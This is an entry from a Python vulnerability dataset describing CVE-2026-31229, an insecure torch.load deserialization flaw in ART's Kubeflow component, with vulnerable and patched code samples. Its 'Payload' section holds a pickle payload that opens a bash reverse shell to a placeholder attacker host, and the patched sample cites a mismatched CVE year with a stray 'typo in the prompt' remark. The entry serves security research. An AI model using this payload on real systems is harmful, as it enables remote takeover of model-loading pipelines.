VAITP Dataset

← Back to the dataset

CVE-2026-31229

Insecure model deserialization in ART's Kubeflow component allows for RCE.

  • CVSS 9.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

The Adversarial Robustness Toolbox (ART) thru 1.20.1 contains an insecure deserialization vulnerability (CWE-502) in its Kubeflow component's model loading functionality. When loading model weights from a file (e.g., model.pt) during robustness evaluation, the code uses torch.load() without the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the Pickle module. An attacker can exploit this by uploading a maliciously crafted model file to an object storage location referenced by the pipeline, or by controlling the model_id parameter to point to such a file. When the pipeline loads the model, the malicious payload is executed, leading to remote code execution.

CVSS base score
9.8
Published
2026-05-12
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Adversarial
Fixed by upgrading
Yes

Solution

Upgrade to Adversarial Robustness Toolbox (ART) version 1.21.0 or later.

Vulnerable code sample

import torch
import os
import pickle

# This class defines the malicious payload.
# When an object of this class is deserialized by pickle, its __reduce__
# method is called. This method is designed to return a callable (os.system)
# and its arguments, leading to command execution.
class MaliciousCodeExecution:
    def __reduce__(self):
        command = 'echo "SUCCESS: Remote Code Execution triggered by CVE-2026-31229 vulnerability."'
        return (os.system, (command,))

# --- Attacker's Action ---
# An attacker creates a file that looks like a model weights file (.pt).
# However, instead of containing tensors, it contains the serialized
# malicious object. torch.save uses pickle internally.
malicious_file_path = "malicious_model.pt"
attacker_payload = MaliciousCodeExecution()
torch.save(attacker_payload, malicious_file_path)
print(f"Attacker: Malicious file '{malicious_file_path}' created.")


# --- Vulnerable Application Code (Simulating ART's Kubeflow Component) ---
# This function represents the vulnerable part of the application. It's
# intended to load model weights from a given path. The path could be
# controlled by an attacker.
def load_model_from_storage(model_path: str):
    """
    This function simulates the insecure model loading functionality.
    It uses torch.load() without the 'weights_only=True' parameter,
    making it vulnerable to arbitrary object deserialization.
    """
    print(f"\nVulnerable App: Attempting to load model from '{model_path}'...")

    try:
        # THE VULNERABLE LINE
        # The 'weights_only' parameter is missing (defaults to False in older
        # PyTorch versions or if not specified). This allows pickle to
        # deserialize any object, including our malicious one, and execute code.
        model_weights = torch.load(model_path)

        # In a real scenario, the application would fail here or behave
        # unexpectedly because it didn't get a dictionary of tensors.
        # However, the malicious code has already been executed by torch.load.
        print("Vulnerable App: Model 'loaded'. Continuing operation...")
        # ... application logic would follow here ...
    except Exception as e:
        print(f"Vulnerable App: An error occurred during loading: {e}")


# --- Triggering the Vulnerability ---
# The application calls the vulnerable function, passing the path to the
# attacker's malicious file.
load_model_from_storage(malicious_file_path)


# --- Cleanup ---
# Remove the malicious file created for the demonstration.
if os.path.exists(malicious_file_path):
    os.remove(malicious_file_path)
    print(f"\nCleanup: Removed '{malicious_file_path}'.")

Patched code sample

import torch
import io

def load_model_weights_safely(model_filepath):
    """
    Loads model weights from a file path using torch.load with the
    security-restrictive 'weights_only=True' parameter.

    This represents the fix for CVE-2024-31229 (note: the year in the
    prompt was a typo), where using torch.load without this parameter
    led to an insecure deserialization vulnerability. By setting
    weights_only=True, the function will only deserialize tensors,
    preventing the execution of arbitrary code embedded in a malicious
    model file.
    """
    try:
        # The fix is the addition of the 'weights_only=True' parameter.
        state_dict = torch.load(model_filepath, weights_only=True)
        
        # In a real application, the state_dict would then be loaded
        # into a model instance, e.g., model.load_state_dict(state_dict).
        print("Successfully and safely loaded model state dictionary.")
        return state_dict
    except Exception as e:
        print(f"An error occurred during safe loading: {e}")
        # A malicious file would likely raise an exception here because
        # it contains more than just tensors.
        return None

# --- Demonstration ---
# Create a dummy model state dictionary (only tensors) and save it to a buffer.
# This simulates a safe 'model.pt' file.
safe_buffer = io.BytesIO()
torch.save({'layer.weight': torch.randn(5, 5)}, safe_buffer)
safe_buffer.seek(0)

# Load the weights using the fixed, secure function.
load_model_weights_safely(safe_buffer)

Payload

import os
import torch

class RCE:
    def __reduce__(self):
        # Replace ATTACKER_IP and ATTACKER_PORT with your details
        cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'"
        return os.system, (cmd,)

# Create the malicious object
malicious_object = RCE()

# Save the object to a file named model.pt (or any other name)
# This file is the payload to be uploaded.
torch.save(malicious_object, 'model.pt')

Cite this entry

@misc{vaitp:cve202631229,
  title        = {{Insecure model deserialization in ART's Kubeflow component allows for RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31229},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31229/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::